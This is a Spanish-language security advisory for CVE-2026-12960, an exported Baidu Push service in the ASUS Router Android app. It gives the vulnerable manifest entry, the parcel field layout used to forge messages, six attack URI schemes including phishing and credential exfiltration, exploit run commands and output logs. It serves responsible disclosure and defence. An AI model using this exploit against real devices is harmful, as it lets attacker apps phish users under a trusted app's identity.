
CVE-2026-12960 - Exportación indebida de componentes de aplicaciones Android en la aplicación ASUS Router (com.asus.aihome). PoC, APK de exploit, vídeo e informe del fabricante. Corregido en 1.0.0.9.74.
Exportación incorrecta de componentes de aplicación de Android en la aplicación ASUS Router
Un componente incluido en la aplicación ASUS Router para Android (com.asus.aihome) se declaró
android:exported="true" sin android:permission. Cualquier otra aplicación en el mismo
dispositivo, sin ningún permiso, podía enviarle un Intent manipulado y hacer que la aplicación
ASUS Router abriera una URI controlada por el atacante en nombre del usuario.
Reportado a ASUS el 2026-03-17. Corregido por ASUS y publicado como CVE-2026-12960 el 2026-07-03.
Descubierto y reportado por Sedric Louissaint de Show Up Show Out Security.
| CVE | CVE-2026-12960 |
| Producto | ASUS Router App para Android (com.asus.aihome) |
| Afectado | ≤ 1.0.0.9.71 |
| Corregido en | 1.0.0.9.74 |
| Debilidad | CWE-926: Exportación incorrecta de componentes de aplicación de Android |
| CVSS 4.0 | 6.0 Medio CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N |
| CNA | ASUS |
| Aviso del fabricante | https://www.asus.com/security-advisory/ |
| Probado en | com.asus.aihome 1.0.0.9.71 (Google Play), emulador Android 11 |
La aplicación incluye el SDK Baidu Push, que declara:
<service
android:name="com.baidu.android.pushservice.CommandService"
android:exported="true" />
No hay atributo android:permission, por lo que el control de acceso a nivel de componentes de
Android nunca se ejecuta. Cualquier aplicación instalada puede llamar a startService() contra él.
CommandService.onStartCommand() lee un Parcelable PublicMsg del extra public_msg del Intent
entrante y lo pasa a handlePrivateNotification(), que ramifica según el campo mOpenType
proporcionado por el atacante:
mOpenType | Comportamiento |
|---|---|
1 | startActivity(ACTION_VIEW, Uri.parse(mUrl)) con el mUrl del atacante |
2 | Intent.parseUri(mPkgContent, 0) y luego startActivity() / sendBroadcast() |
Ni el remitente ni la carga útil son validados. Debido a que la actividad resultante se lanza desde el propio UID y proceso de la aplicación ASUS, lo que aparece en pantalla parece provenir de la aplicación de gestión del router en la que el usuario confía y que acaba de abrir.
En la práctica, nada de esto es específico de Baidu. El SDK incluye el componente exportado, la aplicación anfitriona lo hereda y la identidad de la aplicación anfitriona es lo que se toma prestado.
PublicMsg que coincide con la disposición de campos del objetivo.mOpenType = 1 y mUrl en una URI controlada por el atacante.CommandService. No se requiere permiso, no se lanza SecurityException.onStartCommand() → handlePrivateNotification().startActivity(ACTION_VIEW, Uri.parse(mUrl)) se dispara desde el proceso de la aplicación ASUS.El orden de los campos de PublicMsg, recuperado de writeToParcel en el smali descompilado y
reimplementado en poc/PublicMsg.java:
String mMsgId, mAppId, mTitle, mDescription, mUrl, mPkgName
int mPkgVercode, mNotificationBuilder, mNotificationBasicStyle
int mOpenType, mUserConfirm
String mCustomContent, mPkgContent
int mAdvertiseStyle
String mAdvertiseSmallIconUrl, mAdvertiseLargeIconUrl, mAdvertiseClickUrl,
mAdvertiseBigPictureUrl, mAdvertiseBigPictureClickUrl, mAdvertiseDownloadClickUrl
Si el orden es incorrecto, el Parcel se deserializa en basura. Si es correcto, el servicio acepta el mensaje como si lo hubiera enviado la propia infraestructura de push de Baidu.
Seis esquemas URI, un servicio exportado, cero permisos:
| # | Scheme | Resultado |
|---|---|---|
| 1 | https: | El navegador abre una página de phishing controlada por el atacante |
| 2 | sms: | El compositor de SMS se rellena con un mensaje de ingeniería social |
| 3 | tel: | El marcador se rellena con un número controlado por el atacante |
| 4 | mailto: | El compositor de correo se rellena para exfiltrar credenciales |
| 5 | market: | Redirección a Play Store para instalar malware |
| 6 | geo: | Redirección en Mapas a un centro de servicio falso |
media/poc_commandservice.mp4 es la ejecución completa de 31
segundos: compilar, instalar, disparar y el emulador reaccionando a cada payload por turno.
| Ataque 1: página de phishing | Ataque 2: compositor de SMS | Ataque 3: marcador | Permisos de la aplicación PoC |
|---|---|---|---|
![]() | ![]() | ![]() | ![]() |
Esa última captura es todo el argumento. No se solicitaron permisos. La aplicación que acaba de ejecutar seis acciones a través de la aplicación ASUS Router no le pidió nada al usuario.
Requiere ADB, un JDK y las herramientas de compilación del SDK de Android (aapt2, d8/dx,
zipalign, apksigner) además de platforms;android-30.
./poc/poc_commandservice_exploit.sh <device_serial>
El script ejecuta tres fases:
CommandService desde com.android.shell
e informa si alguna es rechazada. Un servicio protegido por permiso lanzaría SecurityException
aquí. Este aceptó las tres.exploit_commandservice.apk, y lo instala.
Hay una copia precompilada en poc/ si prefieres omitir este paso.Salida de la fase 1 en un dispositivo vulnerable:
[ACCESS] passthrough.notification.CLICK → service accepted intent
[ACCESS] privatenotification.CLICK → service accepted intent
[ACCESS] privatenotification.DELETE → service accepted intent
Phase 1 result: 3/3 actions accepted without permission check
Y el ServiceRecord de dumpsys activity services, que registra al llamante:
intent={act=com.baidu.android.pushservice.action.privatenotification.CLICK
cmp=com.asus.aihome/com.baidu.android.pushservice.CommandService}
recentCallingPackage=com.android.shell
startRequested=true callStart=true
Fase 3, desde una aplicación real sin privilegios en lugar del shell:
W PoCExploit: [OK] attack1_url_open → com.asus.aihome/com.baidu.android.pushservice.CommandService
W PoCExploit: [OK] attack2_sms_compose → ...
(all 6 succeed)
startService() devolvió el ComponentName objetivo en lugar de null, y no se lanzó ninguna
SecurityException. Android resolvió el Intent y lo entregó.